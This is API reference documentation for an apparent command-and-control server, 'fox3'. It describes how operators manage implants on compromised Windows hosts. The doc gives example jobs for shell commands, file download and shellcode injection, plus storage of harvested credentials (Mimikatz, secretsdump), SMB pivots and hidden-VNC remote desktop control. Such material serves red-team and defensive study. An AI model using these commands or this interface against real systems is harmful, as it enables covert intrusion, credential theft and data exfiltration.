WebSocket API Reference
All operator interaction with the server goes through a single WebSocket endpoint. The REST login endpoint issues a JWT used to authenticate the WebSocket connection.
Endpoints
| Endpoint | Method | Auth | Description |
|---|---|---|---|
/api/login |
POST | none | Authenticate and receive a JWT |
/api/ws |
WebSocket | JWT | Bidirectional message bus |
Authentication
1. Login
POST /api/login
Content-Type: application/json
Request body
{ "password": "fox3" }
Response — success (200)
{ "token": "<JWT>" }
Response — failure (401)
Plain-text error. After 5 consecutive failures from the same IP the endpoint returns 429 Too Many Requests for 15 minutes.
The JWT is valid for 24 hours and is signed with HMAC-SHA256 using the server’s --password flag value as the secret.
2. Connect WebSocket
Pass the token as a header or query parameter:
ws://localhost:8080/api/ws
Authorization: Bearer <JWT>
or
ws://localhost:8080/api/ws?token=<JWT>
The query-parameter form exists for browser clients (EventSource API doesn’t support custom headers).
Message framing
Client → server (request)
{
"id": "req-001",
"action": "<action-name>",
"payload": { }
}
id— correlation ID; echoed back in the response. Use any unique string.action— one of the action names listed below.payload— action-specific map.
Server → client (response)
{
"id": "req-001",
"type": "response",
"success": true,
"payload": { },
"error": ""
}
success: falsemeanspayloadis absent anderrorcontains the reason.
Server → client (push event)
{
"type": "event",
"event": "<event-name>",
"payload": { }
}
Push events are unsolicited. They arrive when agents check in, jobs complete, or listeners start/stop.
Server → client (binary — HVNC)
Binary WebSocket frames are used exclusively for HVNC screen streaming:
[16 bytes] agent UUID (binary, little-endian)
[4 bytes] frame width (uint32 LE)
[4 bytes] frame height (uint32 LE)
[N bytes] JPEG image data
Actions
Stats
stats.get
Returns high-level counts.
Payload: none
Response payload
{
"agents": 3,
"listeners": 2,
"credentials": 7
}
Agents
agents.list
Returns all agents currently tracked in memory.
Payload: none
Response payload — array of agent objects
[
{
"id": "550e8400-e29b-41d4-a716-446655440000",
"platform": "windows/amd64",
"host": "DESKTOP-ABC123",
"user": "DESKTOP-ABC123\\victim",
"process": "explorer.exe",
"status": "Active",
"alive": true,
"note": "",
"integrity": 3,
"links": [],
"last_checkin": "2026-05-30T12:00:00Z",
"sleep": "30s"
}
]
status is computed from last check-in time relative to the agent’s sleep interval:
Active— checked in within one sleep periodDelayed— between one and three sleep periodsDead— more than three sleep periodsInit— never checked in
integrity mirrors Windows integrity levels: 1=Low, 2=Medium, 3=High, 4=System.
agents.get
Payload
{ "id": "<agent-uuid>" }
Response payload — single agent object (same shape as above)
agent.delete
Removes agent from memory and deletes associated pivots and screenshots.
Payload
{ "id": "<agent-uuid>" }
Response payload
{ "status": "removed" }
agent.note
Set a free-text note on an agent.
Payload
{ "id": "<agent-uuid>", "note": "lateral moved from webserver" }
Response payload
{ "status": "updated" }
Jobs
job.create
Dispatch a command to an agent.
Payload
{
"agent_id": "<agent-uuid>",
"type": "<command>",
"args": ["arg1", "arg2"]
}
type— the command name (see commands.md)args— optional string array of arguments; omit or pass[]for no-arg commands
Response payload
{ "message": "Created job <job-id> for agent <agent-uuid> at <timestamp>" }
Examples
{ "agent_id": "550e...", "type": "ls", "args": ["C:\\Users"] }
{ "agent_id": "550e...", "type": "shell", "args": ["whoami /all"] }
{ "agent_id": "550e...", "type": "sleep", "args": ["60s"] }
{ "agent_id": "550e...", "type": "download", "args": ["C:\\sensitive.txt"] }
{ "agent_id": "550e...", "type": "shellcode", "args": ["<b64>", "self"] }
{ "agent_id": "550e...", "type": "exit", "args": [] }
Broadcast to all agents using the sentinel UUID ffffffff-ffff-ffff-ffff-ffffffffffff.
jobs.list
Get jobs for an agent (active + last 50 completed).
Payload
{ "agent_id": "<agent-uuid>" }
Response payload — array of job objects
[
{
"id": "<job-uuid>",
"agent_id": "<agent-uuid>",
"command": "ls C:\\Users",
"status": "Complete",
"created": "2026-05-30T12:00:00Z",
"sent": "2026-05-30T12:00:05Z",
"output": "Volume in drive C...\n..."
}
]
jobs.clear
Remove all unsent (queued) jobs for an agent.
Payload
{ "agent_id": "<agent-uuid>" }
Response payload
{ "status": "cleared" }
Listeners
listeners.list
Payload: none
Response payload — array of listener objects
[
{
"id": "<listener-uuid>",
"name": "https-443",
"protocol": "https",
"bind_addr": "0.0.0.0:443",
"status": "Active",
"description": ""
}
]
listeners.options
Get default options for a given protocol.
Payload
{ "protocol": "https" }
Response payload — map of option names to default values
listener.create
The entire payload is the options map. All listener option keys go directly in payload.
Payload (HTTP/HTTPS example)
{
"Protocol": "https",
"Name": "https-443",
"Interface": "0.0.0.0",
"Port": "443",
"PSK": "change-me",
"X509Cert": "/etc/ssl/certs/server.crt",
"X509Key": "/etc/ssl/private/server.key",
"Transforms": "jwe,json",
"Authenticator": "none",
"Description": "Primary HTTPS listener"
}
See listeners.md for all options per listener type.
Response payload — listener object (same shape as listeners.list entries)
listener.start
Payload
{ "id": "<listener-uuid>" }
Response payload
{ "status": "started" }
listener.stop
Payload
{ "id": "<listener-uuid>" }
Response payload
{ "status": "stopped" }
listener.delete
Stops the listener (if running) then removes it.
Payload
{ "id": "<listener-uuid>" }
Response payload
{ "status": "deleted" }
Credentials
credentials.list
Payload: none
Response payload — array of credential objects
[
{
"id": "<uuid>",
"domain": "CORP",
"username": "administrator",
"password": "Password1",
"hash": "aad3...",
"source": "Mimikatz",
"agent_id": "<agent-uuid>",
"created": "2026-05-30T12:00:00Z"
}
]
credential.create
Payload
{
"domain": "CORP",
"username": "svc-account",
"password": "",
"hash": "aad3b435b51404eeaad3b435b51404ee",
"source": "secretsdump",
"agent_id": "<agent-uuid>"
}
All fields are optional except username. agent_id defaults to nil UUID.
Response payload — created credential object
credential.delete
Payload
{ "id": "<credential-id>" }
Screenshots
screenshots.list
Payload: none
Response payload
[
{
"id": "<uuid>",
"agent_id": "<agent-uuid>",
"note": "",
"size": 142365,
"created": "2026-05-30T12:00:00Z"
}
]
screenshots.image
Retrieve screenshot binary as base64.
Payload
{ "id": "<screenshot-uuid>" }
Response payload
{ "data": "<base64-encoded-PNG/JPEG>" }
screenshot.create
Manually record a screenshot (the screenshot job command does this automatically).
Payload
{
"agent_id": "<agent-uuid>",
"data": "<base64>",
"note": "optional note"
}
screenshot.delete
Payload
{ "id": "<screenshot-uuid>" }
Topology
topology.get
Returns the full agent/listener network graph for visualisation.
Payload: none
Response payload
{
"nodes": [
{ "id": "server", "label": "fox3 server", "group": "server" },
{ "id": "<listener-uuid>","label": "https-443", "group": "listener" },
{ "id": "<agent-uuid>", "label": "DESKTOP-ABC", "group": "agent", "integrity": 3, "status": "Active" }
],
"edges": [
{ "from": "server", "to": "<listener-uuid>" },
{ "from": "<listener-uuid>","to": "<agent-uuid>" }
]
}
Pivots
pivots.list
Payload: none
Response payload
[
{
"id": "<uuid>",
"name": "smb-pivot-1",
"parent_agent_id": "<agent-uuid>",
"child_agent_id": "<agent-uuid>",
"protocol": "smb",
"created": "2026-05-30T12:00:00Z"
}
]
pivot.create
Payload
{
"name": "smb-pivot-1",
"parent_agent_id": "<agent-uuid>",
"child_agent_id": "<agent-uuid>",
"protocol": "smb"
}
pivot.delete
Payload
{ "id": "<pivot-uuid>" }
HVNC
HVNC (Hidden VNC) streams desktop frames as binary WebSocket messages. Start it by dispatching hvnc_start to an agent (Windows only), then manage the session with these actions.
hvnc.status
Payload
{ "agent_id": "<agent-uuid>" }
Response payload
{ "active": true, "conn_id": "<uuid>" }
hvnc.start
Dispatches hvnc_start job to the agent and registers the session.
Payload
{ "agent_id": "<agent-uuid>" }
hvnc.stop
Dispatches hvnc_stop job and unregisters the session.
Payload
{ "agent_id": "<agent-uuid>" }
hvnc.input
Send keyboard/mouse input to the hidden desktop.
Payload
{
"agent_id": "<agent-uuid>",
"type": "mouse_click",
"x": 100,
"y": 200,
"button": "left"
}
hvnc.launch
Launch a process on the hidden desktop.
Payload
{
"agent_id": "<agent-uuid>",
"command": "cmd.exe"
}
hvnc.quality
Adjust JPEG compression quality for the frame stream.
Payload
{
"agent_id": "<agent-uuid>",
"quality": 75
}
Push events
Events arrive unsolicited from the server to all connected WebSocket clients.
| Event name | When | Payload |
|---|---|---|
agent_checkin |
Agent checks in | Full AgentResponse object |
agent_removed |
Agent deleted | {"agent_id": "<uuid>"} |
job_complete |
Job finishes | {"agent_id": "<uuid>", "jobs": [<JobResponse>…]} |
listener_start |
Listener created or started | {"listener_id": "<uuid>"} |
listener_stop |
Listener stopped or deleted | {"listener_id": "<uuid>"} or with "deleted": "true" |
Error handling
All errors follow the same response envelope:
{
"id": "req-001",
"type": "response",
"success": false,
"error": "invalid agent_id: not-a-uuid"
}
Common errors:
| Error | Cause |
|---|---|
invalid agent_id |
UUID parse failure |
agent not found |
Agent not in memory (may have been removed) |
unknown action: <x> |
Typo in action name |
invalid listener id |
UUID parse failure on listener ID |